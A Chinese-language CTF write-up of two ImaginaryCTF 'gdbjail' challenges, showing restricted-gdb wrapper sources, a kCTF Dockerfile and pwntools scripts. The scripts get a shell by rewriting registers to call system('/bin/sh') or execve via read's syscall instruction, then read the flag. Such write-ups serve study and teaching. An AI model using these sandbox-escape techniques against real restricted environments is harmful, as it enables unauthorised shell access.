nyyyddddn

gdbjail

2024/09/02

题目附件https://github.com/nyyyddddn/ctf/tree/main/gdbjail

最近在ImaginaryCTF看到两个关于gdbjail的题目,觉得挺有意思的,远程提供了一个受限的gdb调试环境,限制交互的时候使用的命令,目的是利用限制的命令去实现getshell,或者是将flag读出来。

没用过没装插件的gdb,不装插件挺难用的

gdbjail1

run.sh

1
2
3
#!/bin/bash

gdb -x /home/user/gdbinit

gdbinit

1
source /home/user/main.py

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import gdb

def main():
gdb.execute("file /bin/cat")
gdb.execute("break read")
gdb.execute("run")

while True:
try:
command = input("(gdb) ")
if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
try:
gdb.execute(command)
except gdb.error as e:
print(f"Error executing command '{command}': {e}")
else:
print("Only 'break', 'set', and 'continue' commands are allowed.")
except:
pass

if __name__ == "__main__":
main()

通过阅读官方文档,可以发现set可以对表达式进行赋值,通过set可以写内存或者是修改寄存器,main.py中,在read func打了一个断点,也就是说RIP寄存器是一个libc的地址,可以通过docker中提取出来的libc read符号的差值算出libc_base和binsh的地址,将rdi寄存器修改成binsh字符串的地址,将pc寄存器修改成libc_base的地址就可以getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

libc = ELF("./libc.so.6")
p = remote("127.0.0.1", 9999)


p.sendline(f"set $rdi=$rip-{libc.sym['read']}") # rdi = libc_base
p.sendline(f"set $rdi=$rdi+{next(libc.search(b'/bin/sh'))}") # rdi = binsh_addr

p.sendline(f"set $rip=$rip-{libc.sym['read']}") # pc = libc_base
p.sendline(f"set $rip=$rip+{libc.sym['system']}") # pc = system_func

# exec system("/bin/sh")
p.sendline(b"continue")

p.interactive()

gdbjail2

和gdbjail1 不同的地方是,flag文件名是随机的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot

RUN /usr/sbin/useradd --no-create-home -u 1000 user

RUN DEBIAN_FRONTEND=noninteractive apt-get -y update
RUN DEBIAN_FRONTEND=noninteractive apt-get -y install gdb python3

COPY flag.txt /home/user/flag.txt
RUN mv /home/user/flag.txt /home/user/`tr -dc A-Za-z0-9 < /dev/urandom | head -c 20`.txt
COPY run.sh /home/user/chal
COPY gdbinit.sh /home/user/gdbinit
COPY main.py /home/user/main.py
RUN chmod 555 /home/user/chal

FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb

COPY --from=chroot / /chroot

COPY nsjail.cfg /home/user/

CMD kctf_setup && \
kctf_drop_privs \
socat \
TCP-LISTEN:1337,reuseaddr,fork \
EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal"

以及多了一个blacklist,使用set去写内存需要指定写的数据宽度,()被禁用了导致不能用set去写内存,只能修改寄存器,同时因为p被禁用了,不能直接修改RIP寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import gdb

blacklist = ["p", "-", "&", "(", ")", "[", "]", "{", "}", "0x"]

def main():
gdb.execute("file /bin/cat")
gdb.execute("break read")
gdb.execute("run")

while True:
try:
command = input("(gdb) ")
if any([word in command for word in blacklist]):
print("Banned word detected!")
continue
if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
try:
gdb.execute(command)
except gdb.error as e:
print(f"Error executing command '{command}': {e}")
else:
print("Only 'break', 'set', and 'continue' commands are allowed.")
except:
pass

if __name__ == "__main__":
main()

getshell的思路很简单,/bin/cat 一定会调用glibc中的read函数,然后read函数封装了read syscall,所以一定有一个syscall instruction的片段,在read的syscall instruction中断下来,然后通过修改rax为 0x3b rdi为 binsh ,rsi为 0 rdx 为0 去调用execve(“/bin/sh”,0,0) getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

libc = ELF("./libc.so.6")
p = remote("127.0.0.1", 9999)

p.sendlineafter(b"(gdb) ","break *read+16") # read_func syscall
p.sendlineafter(b"(gdb) ","continue")

p.sendlineafter(b"(gdb) ","set $rax=59")
p.sendlineafter(b"(gdb) ", 'set $rdi=\"/bin/sh\"')
p.sendlineafter(b"(gdb) ","set $rsi=0")
p.sendlineafter(b"(gdb) ","set $rdx=0")
p.sendlineafter(b"(gdb) ","continue")
p.sendlineafter(b"(gdb) ","continue")
p.sendlineafter(b"(gdb) ","continue")

p.sendline("cat *.txt")

p.interactive()
CATALOG
  1. 1. gdbjail1
  2. 2. gdbjail2